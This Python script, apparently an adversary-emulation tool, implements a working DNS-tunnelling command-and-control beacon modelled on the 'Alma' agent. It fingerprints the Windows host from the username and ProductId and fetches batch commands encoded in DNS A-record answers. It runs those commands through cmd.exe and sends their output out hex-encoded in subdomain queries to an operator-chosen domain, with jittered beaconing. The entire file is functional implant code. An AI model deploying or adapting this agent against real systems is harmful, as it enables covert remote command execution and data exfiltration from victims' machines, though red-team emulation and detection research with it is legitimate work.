import argparse
import sys
import os
import random
import string
import getpass
from hashlib import md5
from binascii import hexlify
import re
import time
import logging
import threading

if sys.version_info[0] == 2:
    import _winreg as winreg
else:
    import winreg

try:
    import dns.resolver
except ImportError:
    print("Missing dependency dnspython: <https://pypi.org/project/dnspython/>. Please install it with `pip install dnspython`.")
    sys.exit(1)


PRODUCTID_PATH = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion"
START_MARKER = "36.37.94.33"
END_MARKER = "33.33.94.94"
DOWNLOAD_FOLDER = "Download"
UPLOAD_FOLDER = "Upload"
FILE_NAME = "_DnsInit"
COMMAND_FILE = FILE_NAME+".bat"
OUTPUT_FILE = FILE_NAME+".txt.prc"

# defines the log format
LOG_FORMAT = "%(asctime)s.%(msecs)03d - %(levelname)s - %(message)s"
DATE_FORMAT = "%m/%d/%Y %H:%M:%S"
logging.basicConfig(filename='my.log', level=logging.DEBUG, format=LOG_FORMAT, datefmt=DATE_FORMAT)


def reg_reader(reg_path, key):
    try:
        registry_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_path, 0,winreg.KEY_READ)
        value, regtype = winreg.QueryValueEx(registry_key, key)
        winreg.CloseKey(registry_key)
        return value
    except WindowsError:
        return None


# unique id = md5(username+"_"+ProductID) 0,8,16,24
def unique_id_generator():
    username = getpass.getuser()
    productid = reg_reader(PRODUCTID_PATH, "ProductId")
    if not productid:
        productid = "00000-00000-00000-00000"
    hash = md5((username+"_"+productid).encode()).hexdigest()
    return ''.join(hash[i] for i in range(0,32,8))


# c2 domain is {random string of 2 alphanumerics}ID{unique id}-0-2D-2D.base_domain
def command_getter_domain_builder(base_domain):
    domain = ''.join(random.choice(string.ascii_letters+string.digits) for i in range(2))
    domain += "ID"
    domain += unique_id_generator()
    domain += "-0-2D-2D."
    domain += base_domain
    return domain


# c2 domain is {random string of 2 alphanumerics}ID{unique id}-cnt-{string of hexadecimal bytes for sent data}-{string of hexadecimal bytes for filename being sent}.base_domain
def output_uploader_domain_builder(base_domain,cnt,content,filename):
    domain = ''.join(random.choice(string.ascii_letters+string.digits) for i in range(2))
    domain += "ID"
    domain += unique_id_generator()
    domain += "-"
    domain += str(cnt)
    domain += "-"
    domain += hexlify(content).decode()
    domain += "-"
    domain += hexlify(FILE_NAME.encode()).decode()
    domain += "."
    domain += base_domain
    return domain


def dns_query_sender(domain,record):
    logging.info("sending dns requry of {domain} on type {record} ".format(domain=domain,record=record))
    request = my_resolver.query(domain, record)
    logging.info("receiving dns response of {domain} on type {record}, {value}".format(domain=domain,record=record,value=str(request.response.answer[0][-1])))
    return request


def a_record_retriever(base_domain):
    # randomize the domain for every dns query
    domain = command_getter_domain_builder(base_domain)
    try:
        request = dns_query_sender(domain,"A")
        return str(request.response.answer[0][-1])
    except:
        return ""


def command_retriever(domain,verbose):
    # 36.37.94.33 marks the beginning of the file
    while a_record_retriever(domain) != START_MARKER:
        pass

    ip = a_record_retriever(domain)
    # 33.33.94.94 marks the end of the file
    while ip != END_MARKER:
        data = "".join(chr(int(i)) for i in ip.split("."))
        if verbose != 0:
            print(data)
        with open("./{d}/{c}".format(d=DOWNLOAD_FOLDER,c=COMMAND_FILE), "a+") as f:
            f.write(data)
        ip = a_record_retriever(domain)


def output_uploader(domain,verbose):
    content = ""
    with open("./{u}/{o}".format(u=UPLOAD_FOLDER,o=OUTPUT_FILE), "rb") as f:
        content = f.read()
    
    # extend the length of content to a multiple of 7
    while len(content)%7:
        content += b" "
    cnt = int(len(content)/7)
    for i in range(0,len(content), 7):
        data = content[i:i+7]
        tmp_domain = output_uploader_domain_builder(domain,cnt,data,FILE_NAME)
        if verbose != 0:
            print(tmp_domain)
        dns_query_sender(tmp_domain,"A")


def is_valid_ip(ip):
    if re.match(r'^((\d{1,2}|1\d{2}|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d{2}|2[0-4]\d|25[0-5])$', ip):  
        return True  
    else:
        return False


# a very simple thread timer to terminate the process after timeout
class timer(threading.Thread):
    def __init__(self,timeout):
        threading.Thread.__init__(self)
        self.timeout = timeout

    def run(self):
        time.sleep(self.timeout)
        os._exit(1)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Modified Alma dns tunnel C2 beacon emulation agent")
    parser.add_argument("-domain", help = "the domain to send data to", required=True)
    parser.add_argument("-dns", help = "specific dns server ip(IPv4)", required=False)
    parser.add_argument("-i", help="the interval time in seconds of the Modified Alma Beaconing agent connecting to the c2 server, default to be 60 seconds", required=False, type=int, default=60)
    parser.add_argument("-j", help="the jitter value(between 0 and 1) of the Modified Alma Beaconing agent, to add randomization to the interval, default to be 0", required=False, type=float, default=0)
    parser.add_argument("-t", help="the time in minutes after which the agent will terminate, default to be 10", required=False, type=int, default=10)
    parser.add_argument("-v", type=int, default=0, help = "verbose level, default to be 0", required=False)
    args = parser.parse_args()

    # start a timer
    thread = timer(args.t*60)
    thread.start()

    interval = args.i
    jitter = args.j
    if jitter > 1 or jitter < 0:
        jitter = random.uniform(0,1)

    try:
        os.makedirs(DOWNLOAD_FOLDER)
        os.makedirs(UPLOAD_FOLDER)
    except:
        pass

    if os.path.exists("./{d}/{c}".format(d=DOWNLOAD_FOLDER,c=COMMAND_FILE)):
        os.unlink("./{d}/{c}".format(d=DOWNLOAD_FOLDER,c=COMMAND_FILE))

    global my_resolver
    # initialize the dns_resolver and the ip is valid
    # if user has specify the dns server to use
    if args.dns and is_valid_ip(args.dns):
        my_resolver = dns.resolver.Resolver(configure=False)
        my_resolver.nameservers = [args.dns]
    # otherwise, use the default dns server
    else:
        my_resolver = dns.resolver.Resolver()

    while True:
        print("retrieving command from c2")
        # get the command from c2
        command_retriever(args.domain, args.v)
    
        print("executing command")
        # execute the command and save the output to upload folder
        os.system("cmd.exe /c \"cd {d} & {c} 2>&1\" > {u}/{o}".format(d=DOWNLOAD_FOLDER,c=COMMAND_FILE,u=UPLOAD_FOLDER,o=OUTPUT_FILE))

        print("uploading output to c2")
        # upload the output to c2
        output_uploader(args.domain, args.v)

        tosleep = random.uniform(interval*(1-jitter), interval*(1+jitter))
        time.sleep(tosleep)